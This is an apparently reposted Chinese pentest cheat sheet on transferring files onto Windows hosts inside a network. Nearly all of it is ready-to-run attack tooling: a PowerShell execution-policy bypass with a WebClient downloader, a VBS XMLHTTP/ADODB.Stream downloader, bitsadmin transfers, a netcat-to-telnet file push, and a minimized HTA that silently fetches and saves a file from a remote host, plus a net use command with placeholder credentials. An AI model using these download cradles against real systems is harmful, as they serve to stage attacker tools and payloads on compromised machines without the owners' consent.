内网文件传输
轉(zhuǎn)自：https://github.com/l3m0n/pentest_study
windows下文件傳輸
1、powershell文件下載 powershell突破限制執(zhí)行：powershell -ExecutionPolicy Bypass -File .\1.ps1
$d = New-Object System.Net.WebClient $d.DownloadFile("http://lemon.com/file.zip","c:/1.zip")2、vbs腳本文件下載
Set xPost=createObject("Microsoft.XMLHTTP") xPost.Open "GET","http://192.168.206.101/file.zip",0 xPost.Send() set sGet=createObject("ADODB.Stream") sGet.Mode=3 sGet.Type=1 sGet.Open() sGet.Write xPost.ResponseBody sGet.SaveToFile "c:\file.zip",2下載執(zhí)行：
cscript test.vbs3、bitsadmin win03測試沒有,win08有
bitsadmin /transfer n http://lemon.com/file.zip c:\1.zip4、文件共享 映射了一個(gè)，結(jié)果沒有權(quán)限寫
net use x: \\127.0.0.1\share /user:centoso.com\userID myPassword5、使用telnet接收數(shù)據(jù)
服務(wù)端：nc -lvp 23 < nc.exe 下載端：telnet ip -f c:\nc.exe6、hta 保存為.hta文件后運(yùn)行
<html> <head> <script> var Object = new ActiveXObject("MSXML2.XMLHTTP"); Object.open("GET","http://192.168.206.101/demo.php.zip",false); Object.send(); if (Object.Status == 200) { var Stream = new ActiveXObject("ADODB.Stream"); Stream.Open(); Stream.Type = 1; Stream.Write(Object.ResponseBody); Stream.SaveToFile("C:\\demo.zip", 2); Stream.Close(); } window.close(); </script> <HTA:APPLICATION ID="test" WINDOWSTATE = "minimize"> </head> <body> </body> </html>轉(zhuǎn)載于:https://www.cnblogs.com/dongchi/p/5366072.html
總結(jié)
- 上一篇： java proj4j 兰勃特投影设置地
- 下一篇： 将字符串和数字合并动态写入